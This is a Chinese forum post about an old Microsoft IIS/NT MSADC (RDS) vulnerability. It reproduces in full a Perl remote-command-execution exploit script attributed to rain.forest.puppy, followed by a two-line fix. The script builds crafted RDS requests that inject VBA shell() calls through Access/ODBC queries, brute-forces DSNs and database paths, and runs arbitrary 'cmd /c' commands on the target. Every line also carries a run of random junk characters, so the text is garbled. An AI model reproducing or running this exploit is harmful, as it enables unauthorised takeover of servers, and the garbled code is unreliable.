社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 168329阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) JW (.,Ztm  
4&}LYSZl  
涉及程序: G;MmD?VJ g  
Microsoft NT server H{yeN 5   
u[})|x*N  
描述: FgLV>#)-  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 2]hQ56Yv3  
525W; mu{  
详细: Jc/*w  
如果你没有时间读详细内容的话,就删除: J&wrBVv1uk  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 0KE+RzrB  
有关的安全问题就没有了。 {U>B\D  
qy"#XbBeV  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 TN4gGky!  
l@%MS\{  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 }/Pz1,/  
关于利用ODBC远程漏洞的描述,请参看: >2TDYB|;  
V0XQG}  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm h#a,<B|  
Jc95Ki1X  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ;kDz9Va  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp /{6PwlP5  
|#>\GU=!  
这里不再论述。 7' ]n_-fu  
8i;EpAwB  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: {%*,KB>b  
1TJ2HO=Y  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset u,I_p[`E  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 0"#'Z>"  
4 cDjf~n  
N*y09?/h  
#将下面这段保存为txt文件,然后: "perl -x 文件名" k?ZtRhPu3X  
]yy10Pk[!  
#!perl KEEHb2q  
# >+ul LQqe  
# MSADC/RDS 'usage' (aka exploit) script nkUSd}a`r  
# EBc_RpC/Z  
# by rain.forest.puppy V4PI~"4q#1  
# hCS|(8g  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 4$ya$Y%s%  
# beta test and find errors! Js.2R$o =*  
 Y[#EFM  
use Socket; use Getopt::Std; }rRf4te  
getopts("e:vd:h:XR", \%args); @i U@JE`C  
%ukFn &-2@  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; n]S DpptM  
DryN}EMOKD  
if (!defined $args{h} && !defined $args{R}) { MEf`&<t  
print qq~ M{w[hV  
Usage: msadc.pl -h <host> { -d <delay> -X -v } `lygJI?H+{  
-h <host> = host you want to scan (ip or domain) *:L-/Q)i  
-d <seconds> = delay between calls, default 1 second Q]?r&%Y  
-X = dump Index Server path table, if available ;6P #V`u  
-v = verbose =:A hg 9  
-e = external dictionary file for step 5 QQ;<L"VW  
E{'{fo!#)  
Or a -R will resume a command session '#pY/,hVB  
[$:M/5y9  
~; exit;} Ws$<B b  
7L)edR [  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Oh)s"f\N  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} (xxNQ] l-(  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} R9bsl.e  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); d nRbt{`jP  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} HGM? ?=  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } O<}3\O )G(  
ZFYv|2l  
if (!defined $args{R}){ $ret = &has_msadc; .LMOmc=(  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} B /q/6Pp  
IdTa tE|^  
print "Please type the NT commandline you want to run (cmd /c assumed):\n"  qmQ}  
. "cmd /c "; |[qq $  
$in=<STDIN>; chomp $in; 5yBaxw`  
$command="cmd /c " . $in ; 7m='-_w)?w  
[Ume^  
if (defined $args{R}) {&load; exit;} uzG{jc^  
vz$-KT4e^  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; YNHQbsZUI,  
&try_btcustmr; k+qxx5{  
Q5Yy \M  
print "\nStep 2: Trying to make our own DSN..."; &ed&2t`Y  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; _%M+!Ltz  
DNTkv_S  
print "\nStep 3: Trying known DSNs..."; 3%HF"$Gg  
&known_dsn; )\K;Ncp[  
n`v;S>aT  
print "\nStep 4: Trying known .mdbs..."; j<,Ho4v}_  
&known_mdb; fyHFfPEE  
{9mXJu$cc  
if (defined $args{e}){ cl\Gh  
print "\nStep 5: Trying dictionary of DSN names..."; Jr2x`^aNO  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } '2LK(uaU  
VT@,RlB0  
print "Sorry Charley...maybe next time?\n"; ^lw0} i  
exit; Xgb ~ED]  
nrFuhW\r  
############################################################################## Ku 'OM6D<  
=@ SJyW  
sub sendraw { # ripped and modded from whisker #k}x} rn<'  
sleep($delay); # it's a DoS on the server! At least on mine... 6 (M^`&fl  
my ($pstr)=@_; +O]jklS4H  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || S{uKm1a  
die("Socket problems\n"); [nYm-\M  
if(connect(S,pack "SnA4x8",2,80,$target)){ O4c[,Uq8~  
select(S); $|=1; D6Q6yNE  
print $pstr; my @in=<S>; U<|hIv-&  
select(STDOUT); close(S); n8K FP  
return @in; s8O.yL  
} else { die("Can't connect...\n"); }} W~W `fm  
EdC^L`::  
############################################################################## 4hQ.RO  
II,snRD  
sub make_header { # make the HTTP request N'5AU (  
my $msadc=<<EOT 'gD,H X  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 DTx!# [  
User-Agent: ACTIVEDATA E\_Wpk  
Host: $ip <i1.W !%  
Content-Length: $clen \gU=B|W  
Connection: Keep-Alive -O~ V4004  
{e/6iSpT  
ADCClientVersion:01.06 )NjxKSiU@  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Le?yzf  
X:/Y^Xu  
--!ADM!ROX!YOUR!WORLD! ^7p>p8  
Content-Type: application/x-varg e5z U`R  
Content-Length: $reqlen asj*/eC$/i  
Zqp<8M2  
EOT 'F .tOD  
; $msadc=~s/\n/\r\n/g; g~/@`Z2Y  
return $msadc;} >Nho`m(  
[t{ed)J  
############################################################################## GEd JB=  
Vi:<W0:  
sub make_req { # make the RDS request I_aS C4  
my ($switch, $p1, $p2)=@_; Cju%CE3a  
my $req=""; my $t1, $t2, $query, $dsn; =Z~nzyaN  
T+knd'2V6  
if ($switch==1){ # this is the btcustmr.mdb query 9$iDK$%  
$query="Select * from Customers where City=" . make_shell(); iC`mj  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 7O \sQ]i6  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 7%7 \2!0J}  
$Y3mO ~  
elsif ($switch==2){ # this is general make table query m1\+~*i  
$query="create table AZZ (B int, C varchar(10))"; J|gRG0O9Ya  
$dsn="$p1";} U%qE=u-  
^?Y x{r~9  
elsif ($switch==3){ # this is general exploit table query N5%Cwl6i  
$query="select * from AZZ where C=" . make_shell(); H%&e[PU  
$dsn="$p1";} h+"UK=  
jjTb:Z=.'  
elsif ($switch==4){ # attempt to hork file info from index server 1 Vq)& N  
$query="select path from scope()"; $ KAOJc4<  
$dsn="Provider=MSIDXS;";} a*T=;P3(I  
b$,~S\\c  
elsif ($switch==5){ # bad query >`S $(f  
$query="select"; ~L55l2u7  
$dsn="$p1";} q2U8]V U)  
g UAx8=h  
$t1= make_unicode($query); )_-EeH  
$t2= make_unicode($dsn); KhFw%Z0s<  
$req = "\x02\x00\x03\x00"; gOSFvH8FU  
$req.= "\x08\x00" . pack ("S1", length($t1)); 2*5]6B-(  
$req.= "\x00\x00" . $t1 ; *? <ygzX  
$req.= "\x08\x00" . pack ("S1", length($t2)); qHtonJc  
$req.= "\x00\x00" . $t2 ; x<lY&KQ0  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; XqxmvN  
return $req;} [>#@?@x`P  
rq]zt2  
############################################################################## #l<un<  
9irT}e  
sub make_shell { # this makes the shell() statement %j7HIxZh  
return "'|shell(\"$command\")|'";} jVxX! V  
lq[o2\  
############################################################################## UFOUkS F  
#@^mA{Dt5  
sub make_unicode { # quick little function to convert to unicode m&&Y=2  
my ($in)=@_; my $out; L3s1a -K  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } [.[|rnil  
return $out;} X 8#Uk}/  
f?P>P23  
############################################################################## \]7i-[  
3Gyw^_{J  
sub rdo_success { # checks for RDO return success (this is kludge) %k8 H'w\  
my (@in) = @_; my $base=content_start(@in); E{B8+T:3  
if($in[$base]=~/multipart\/mixed/){ R8(Bt73  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} `COnb@uD  
return 0;} A-GU:B  
%X^K5Io  
############################################################################## gfU@`A_N"  
\:[J-ySJ  
sub make_dsn { # this makes a DSN for us .`; bQh'!  
my @drives=("c","d","e","f"); Xpp%j  
print "\nMaking DSN: "; e4rhB"qQdn  
foreach $drive (@drives) { NBaXfWh  
print "$drive: "; Ak=|wY{  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 3l?-H|T  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" T:?01?m  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 'qt+.vd  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; +ia N[F$  
return 0 if $2 eq "404"; # not found/doesn't exist W%,h{  
if($2 eq "200") { z!> H^v  
foreach $line (@results) { |on$ )vm  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} wB0K e  
} return 0;} YVT\@+C'  
Sb,lY<=  
############################################################################## c!20(( 2|I  
H7&bUt/  
sub verify_exists { iLR^V!  
my ($page)=@_; Hs>|-iDs(  
my @results=sendraw("GET $page HTTP/1.0\n\n"); *\4u:1Cu  
return $results[0];} ]Ac&h aAP  
Bq 9 Eu1  
############################################################################## /~nPPC  
8*[Q{:'.  
sub try_btcustmr { AC& }8w[>u  
my @drives=("c","d","e","f"); trAIh}Dj  
my @dirs=("winnt","winnt35","winnt351","win","windows"); KDUa0$"  
,{rm<M.)  
foreach $dir (@dirs) { SRfnT?u6  
print "$dir -> "; # fun status so you can see progress '$m uA\  
foreach $drive (@drives) { *!p#1fE  
print "$drive: "; # ditto u?-X07_  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; q\q8xF~[p  
$reqlenlen=length( "$reqlen" ); 5$;#=WAY  
$clen= 206 + $reqlenlen + $reqlen; F `cuV  
;E0aTV)Zp  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); c(5r  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} -Uu65m~:{k  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} _Vl22'wl  
b0n " J`  
############################################################################## Cg4l*"_  
co-dq\P  
sub odbc_error { y/d/#}\:  
my (@in)=@_; my $base; XzV:q!e-  
my $base = content_start(@in); nJ{vO{N  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ehe;<A  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; y)%CNH)*x  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; AFN"#M  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; wr+r J  
return $in[$base+4].$in[$base+5].$in[$base+6];} "S ~(|G  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; f:_mrzz  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 6r3.%V.&  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} LH_rc  
+#Q\;; FNP  
############################################################################## X6`F<H`  
{!G  
sub verbose { kl/eJN'S  
my ($in)=@_; Z#nPn>,q  
return if !$verbose; [(65^Zl`  
print STDOUT "\n$in\n";} zv>3Tc0R  
: #om6}   
############################################################################## {@tqeu%IM  
@ UgZZ  
sub save { )!tqock*v  
my ($p1, $p2, $p3, $p4)=@_; G+dQ" cI9  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; |MEu"pY)  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; o{n)w6P{R,  
close OUT;} Xe:gH.}  
n +R3  
############################################################################## P g{/tM Y  
c@&-c[k^W  
sub load { r iuG,$EX  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; piv/QP-X  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); `$hna{e^n  
@p=<IN>; close(IN); !Ic{lB   
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); % bpVK~z  
$target= inet_aton($ip) || die("inet_aton problems"); g.9:R=JPT  
print "Resuming to $ip ..."; v vvH5NRm  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ,KO_h{mI<  
if($p[1]==1) { +&j&es  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; [h;&r"1  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; #MwNyZ  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 6Uik>e7?  
if (rdo_success(@results)){print "Success!\n";} njoU0f1`  
else { print "failed\n"; verbose(odbc_error(@results));}} F]L$xU  
elsif ($p[1]==3){ L UitY  
if(run_query("$p[3]")){ 9PZY](/  
print "Success!\n";} else { print "failed\n"; }} &Ub0o2+y  
elsif ($p[1]==4){ Nd] w I|>  
if(run_query($drvst . "$p[3]")){ }/cMG/%  
print "Success!\n"; } else { print "failed\n"; }} ~l SdWUk>  
exit;} O wJZ?j& )  
miCW(mbO8  
############################################################################## )4@La&  
|4lrVYG^K  
sub create_table { V < ;vy&&  
my ($in)=@_; H)u<$y!8  
$reqlen=length( make_req(2,$in,"") ) - 28; Frxim  
$reqlenlen=length( "$reqlen" ); SmR"gu  
$clen= 206 + $reqlenlen + $reqlen; .NOh[68'  
my @results=sendraw(make_header() . make_req(2,$in,"")); kl&9M!;:n  
return 1 if rdo_success(@results); <ic%c/mN  
my $temp= odbc_error(@results); verbose($temp); f:)%+)U<Xm  
return 1 if $temp=~/Table 'AZZ' already exists/; h9J%NH  
return 0;} Ny oRp  
F9Y/Z5 Ea  
############################################################################## h%0hryGB  
D6M ktE)'  
sub known_dsn { .&R j2d  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go }% m:^*@$9  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", gOnVN6  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", #4Z]/D2G  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); kCoTz"Z-  
N4z(2.  
foreach $dSn (@dsns) { %M/rpEE"b%  
print "."; -N4km5  
next if (!is_access("DSN=$dSn")); )C0dN>Gb  
if(create_table("DSN=$dSn")){ bF#1'W&  
print "$dSn successful\n"; IW1+^F9NEw  
if(run_query("DSN=$dSn")){ ?jDdF  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { R,'` A.Kk  
print "Something's borked. Use verbose next time\n";}}} print "\n";} GNIZHyT(O  
vXA+4 ?ZG  
############################################################################## >^!qx b-  
JC[G5$E  
sub is_access { {8YNmxF#  
my ($in)=@_; pMfP3G7V  
$reqlen=length( make_req(5,$in,"") ) - 28; S9'8rn!_  
$reqlenlen=length( "$reqlen" ); $cUTe  
$clen= 206 + $reqlenlen + $reqlen; /N'|Vs,X  
my @results=sendraw(make_header() . make_req(5,$in,"")); l_`DQ8L`  
my $temp= odbc_error(@results); >#j f Z5t  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); R"0fZENTG  
return 0;} 9*"Ae0ok1  
YH%aPsi  
############################################################################## HS% P  
w&F/P]1  
sub run_query { |D ?}6z  
my ($in)=@_; lN<,<'&^.  
$reqlen=length( make_req(3,$in,"") ) - 28; VXpbmg!{S  
$reqlenlen=length( "$reqlen" ); P%-@AmO^_  
$clen= 206 + $reqlenlen + $reqlen; )w.\xA~|  
my @results=sendraw(make_header() . make_req(3,$in,"")); k~<b~VcU  
return 1 if rdo_success(@results); %#^)hX,+Q  
my $temp= odbc_error(@results); verbose($temp); Z6Owxqfht  
return 0;} K:i{us`  
,2I8,MOg  
############################################################################## %^r}$mfy:0  
$xWebz0  
sub known_mdb { jZ;dY~fE  
my @drives=("c","d","e","f","g"); Xw|t.0  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ~gjREl,+D#  
my $dir, $drive, $mdb; H /kSFf{  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; +Je(]b @  
Ai 9UB=[R  
# this is sparse, because I don't know of many ]nEZ Q+F  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ~BSE8M+r  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", w=r3QKm#K  
"\\system32\\certmdb.mdb", lQnl6j  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% cjd Z.jR2  
ylEQeN  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", BgzER[g|q{  
"\\cfusion\\cfapps\\forums\\forums_.mdb", v@6TC1M,  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", _B5t)7I  
"\\cfusion\\cfapps\\security\\realm_.mdb", 6@2 S*\&  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 2`-yzm  
"\\cfusion\\database\\cfexamples.mdb", Xg](V.B6  
"\\cfusion\\database\\cfsnippets.mdb", RnA>oKc  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", j\ dY  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ,s?7EHtC  
"\\cfusion\\brighttiger\\database\\cleam.mdb", LHt{y3l]  
"\\cfusion\\database\\smpolicy.mdb", ]Gm $0uS  
"\\cfusion\\database\cypress.mdb", ~sI$xX!  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", <N Lor55.]  
"\\website\\cgi-win\\dbsample.mdb", #..-!>lY  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ]T3dZ`-(  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 0S{dnp  
); #these are just |+^-b}0  
foreach $drive (@drives) { fCA/   
foreach $dir (@dirs){ *=-o0c  
foreach $mdb (@sysmdbs) { gD[Fkq$]  
print "."; OYWW<N+R2  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ _>G=v!  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; w_gPX0N}3n  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ !_EaF`oh(  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; BZXP%{njS  
} else { print "Something's borked. Use verbose next time\n"; }}}}} #b~wIOR)Z  
Llf |fayq  
foreach $drive (@drives) { (ei;Y~i  
foreach $mdb (@mdbs) { &*}NN5Sv  
print "."; ]aqHk  
if(create_table($drv . $drive . $dir . $mdb)){ Qo4+=^(  
print "\n" . $drive . $dir . $mdb . " successful\n"; suh@  
if(run_query($drv . $drive . $dir . $mdb)){ n.[0#Ur&}  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; {L!w/IeX  
} else { print "Something's borked. Use verbose next time\n"; }}}} j4au Zl]NF  
} @aG1PG{  
g[rxK n\Z  
############################################################################## 'wo[iNy[  
b9ON[qOMN  
sub hork_idx { {\OIowa  
print "\nAttempting to dump Index Server tables...\n"; @$5GxIw<l  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; KPGX/l  
$reqlen=length( make_req(4,"","") ) - 28; `Z3Qx~f x  
$reqlenlen=length( "$reqlen" ); CvCk#:@HM  
$clen= 206 + $reqlenlen + $reqlen; Cmq.V@  
my @results=sendraw2(make_header() . make_req(4,"","")); AC=/BU3<yc  
if (rdo_success(@results)){ o@?3i+%}8  
my $max=@results; my $c; my %d; Fh XR!x^  
for($c=19; $c<$max; $c++){ Ek [V A\G  
$results[$c]=~s/\x00//g; ?UXKy  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; (l28,\Bel  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; cT8`l!RD<  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; *0 ;DCUv  
$d{"$1$2"}="";} x*H4o{o0  
foreach $c (keys %d){ print "$c\n"; } \haJe~  
} else {print "Index server doesn't seem to be installed.\n"; }} O7#ECUH  
~~?4w.k  
############################################################################## k)W8%=R  
BReNhk)S  
sub dsn_dict { f6 zT  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 6]i"lqb  
while(<IN>){ dOm#NSJVd  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; f`5e0;zm  
next if (!is_access("DSN=$dSn")); uzO%+B!  
if(create_table("DSN=$dSn")){ f\Bd lOJ>  
print "$dSn successful\n"; AsRS7V  
if(run_query("DSN=$dSn")){ `<Z5/;a5W  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { #clPao?r  
print "Something's borked. Use verbose next time\n";}}} P@Wi^svj  
print "\n"; close(IN);} UTEUVcJ\  
w_po5[]R  
############################################################################## dbTPY`  
ubV|s|J  
sub sendraw2 { # ripped and modded from whisker \*}JdEHB  
sleep($delay); # it's a DoS on the server! At least on mine... /znW$yh o  
my ($pstr)=@_; ,}!OJyT  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 8>Xyz`$kH  
die("Socket problems\n"); ~jab/cR  
if(connect(S,pack "SnA4x8",2,80,$target)){ _y}]j;e8>{  
print "Connected. Getting data"; Azx4+`!-  
open(OUT,">raw.out"); my @in; %nJ^0X_]  
select(S); $|=1; print $pstr; #zC_;u$  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} zcGeXX}V?  
close(OUT); select(STDOUT); close(S); return @in; Y`S9mGR#  
} else { die("Can't connect...\n"); }} .6%-Il  
=,0E]M Z  
############################################################################## QN_Zd@K*A  
Zx(VwB2   
sub content_start { # this will take in the server headers 1F*gPhm  
my (@in)=@_; my $c; }&d@6m]  
for ($c=1;$c<500;$c++) { xrX^";}j  
if($in[$c] =~/^\x0d\x0a/){ )v1n#m,W  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } B\a-Q,Wf  
else { return $c+1; }}} 4,m aA  
return -1;} # it should never get here actually <4z |"(  
B$aA=+<S  
############################################################################## jX^uNmb  
8kQ >M  
sub funky { Vx@JP93|  
my (@in)=@_; my $error=odbc_error(@in); SI=vA\e  
if($error=~/ADO could not find the specified provider/){ "d'D:>z]%  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; u8pJjn;  
exit;} *<n]"-  
if($error=~/A Handler is required/){ `;-K/)/x  
print "\nServer has custom handler filters (they most likely are patched)\n"; 7/lXy3B4  
exit;} j  )6A  
if($error=~/specified Handler has denied Access/){ !Q!= =*1H  
print "\nServer has custom handler filters (they most likely are patched)\n"; *.wX9g9\  
exit;}} K &m`1f  
umrfA  
############################################################################## Bk&ry)`gD  
Z@fMU2e=Z  
sub has_msadc { NF <|3|  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); K1Ms  
my $base=content_start(@results); bCY8CIF  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); tz-, |n0  
return 0;} H8+7rM  
RiC1lCE  
######################## =Jfo=`da  
_p/ _t76s  
t W ;1  
解决方案: X>^St&B}fC  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll X4LU/f<f  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 L=4%MyZ.e  
3B#qQ#  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八